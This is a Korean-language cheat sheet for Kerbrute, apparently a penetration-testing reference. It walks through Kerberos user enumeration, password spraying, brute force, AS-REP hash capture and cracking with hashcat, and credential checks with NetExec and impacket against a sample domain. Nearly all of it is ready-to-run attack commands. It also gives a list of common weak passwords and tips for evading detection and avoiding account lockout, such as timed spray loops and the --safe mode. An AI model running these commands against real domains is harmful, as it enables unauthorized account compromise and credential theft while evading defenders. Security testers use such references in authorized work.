Kerbrute
Kerberos 프로토콜을 이용한 사용자 열거 및 비밀번호 스프레이 도구입니다.
설치
# Go로 설치
go install github.com/ropnop/kerbrute@latest
# 바이너리 다운로드
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
기본 사용법
kerbrute <COMMAND> [OPTIONS]
사용자 열거 (User Enumeration)
기본 사용
# 도메인과 DC 지정
kerbrute userenum -d <DOMAIN> --dc <DC_IP> userlist.txt
# 실제 예제
kerbrute userenum -d corp.local --dc 10.10.10.100 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
옵션
# 출력 파일 지정
kerbrute userenum -d <DOMAIN> --dc <DC_IP> -o valid_users.txt userlist.txt
# Verbose 모드
kerbrute userenum -d <DOMAIN> --dc <DC_IP> -v userlist.txt
# 스레드 수 조절
kerbrute userenum -d <DOMAIN> --dc <DC_IP> -t 10 userlist.txt
# 안전 모드 (느리지만 탐지 회피)
kerbrute userenum -d <DOMAIN> --dc <DC_IP> --safe userlist.txt
비밀번호 스프레이 (Password Spray)
기본 사용
# 단일 비밀번호로 여러 사용자 테스트
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> users.txt <PASSWORD>
# 실제 예제
kerbrute passwordspray -d corp.local --dc 10.10.10.100 valid_users.txt Password123
옵션
# 출력 파일 지정
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> -o results.txt users.txt <PASSWORD>
# Verbose 모드
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> -v users.txt <PASSWORD>
# 스레드 수 조절
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> -t 5 users.txt <PASSWORD>
여러 비밀번호 테스트
# 비밀번호 리스트로 스프레이
for pass in $(cat passwords.txt); do
echo "Trying password: $pass"
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> users.txt "$pass"
sleep 30m # 30분 대기 (계정 잠금 방지)
done
브루트포스 (Brute Force)
# 사용자:비밀번호 조합
kerbrute bruteuser -d <DOMAIN> --dc <DC_IP> passwords.txt <USERNAME>
# 여러 사용자에 대해
kerbrute bruteforce -d <DOMAIN> --dc <DC_IP> combo.txt
실제 시나리오
1단계: 사용자 열거
# 일반적인 사용자명 리스트로 시작
kerbrute userenum -d corp.local --dc 10.10.10.100 --safe -o valid_users.txt /usr/share/seclists/Usernames/Names/names.txt
2단계: 비밀번호 스프레이
# 발견된 사용자에 대해 일반적인 비밀번호 시도
kerbrute passwordspray -d corp.local --dc 10.10.10.100 valid_users.txt Welcome1
kerbrute passwordspray -d corp.local --dc 10.10.10.100 valid_users.txt Password123
kerbrute passwordspray -d corp.local --dc 10.10.10.100 valid_users.txt Summer2024
3단계: 발견된 자격증명 확인
# NetExec으로 확인
netexec smb 10.10.10.100 -u found_user -p found_pass
옵션 설명
-d, --domain <DOMAIN> # 타겟 도메인
--dc <DC_IP> # Domain Controller IP
-o, --output <FILE> # 결과 출력 파일
-t, --threads <N> # 스레드 수 (기본 10)
-v, --verbose # Verbose 출력
--safe # 안전 모드 (느림)
--downgrade # RC4 암호화 사용
--hash-file <FILE> # AS-REP 해시 저장
유용한 사용자명 리스트
# SecLists
/usr/share/seclists/Usernames/Names/names.txt
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/seclists/Usernames/cirt-default-usernames.txt
# 일반적인 사용자명
administrator
admin
user
guest
service
root
일반적인 비밀번호 패턴
# 계절 + 년도
Spring2024
Summer2024
Fall2024
Winter2024
# 회사명 + 년도
CompanyName2024
# 일반적인 패턴
Password1
Password123
Welcome1
Welcome123
Passw0rd!
P@ssw0rd
AS-REP Roasting과 함께 사용
# AS-REP Roastable 계정 찾기
kerbrute userenum -d <DOMAIN> --dc <DC_IP> --hash-file asrep.hash userlist.txt
# 발견된 해시 크랙
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
탐지 회피
느린 스프레이
# 스레드 수 줄이기
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> -t 1 users.txt <PASSWORD>
# 안전 모드
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> --safe users.txt <PASSWORD>
계정 잠금 방지
# 비밀번호 간 충분한 대기 시간
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> users.txt Password1
sleep 1h
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> users.txt Password2
도메인 정보 없이 사용
# IP만으로 (도메인은 자동 감지 시도)
kerbrute userenum --dc 10.10.10.100 userlist.txt
결과 해석
성공적인 사용자 열거
2024/01/01 10:00:00 > [+] VALID USERNAME: administrator@corp.local
2024/01/01 10:00:01 > [+] VALID USERNAME: john.doe@corp.local
성공적인 비밀번호 스프레이
2024/01/01 10:00:00 > [+] VALID LOGIN: john.doe@corp.local:Password123
잠긴 계정
2024/01/01 10:00:00 > [!] LOCKED: admin@corp.local
다른 도구와 조합
impacket GetNPUsers.py
# Kerbrute로 사용자 발견 후
impacket-GetNPUsers -dc-ip 10.10.10.100 corp.local/ -usersfile valid_users.txt -format hashcat
CrackMapExec / NetExec
# 발견된 자격증명 테스트
netexec smb 10.10.10.100 -u valid_users.txt -p found_passwords.txt
참고
- Kerberos Pre-Authentication을 이용하여 사용자 열거
- 도메인 로그에 실패한 로그인 기록이 남지 않음 (Pre-Auth 단계)
- 비밀번호 스프레이는 계정 잠금 정책 주의
--safe모드는 탐지 회피에 도움- 일반적으로 3-5회 시도 후 충분한 대기 시간 필요
- AS-REP Roastable 계정 발견에도 유용
- 익명 바인드가 비활성화된 환경에서도 작동
- Kerberos는 UDP 88 포트 사용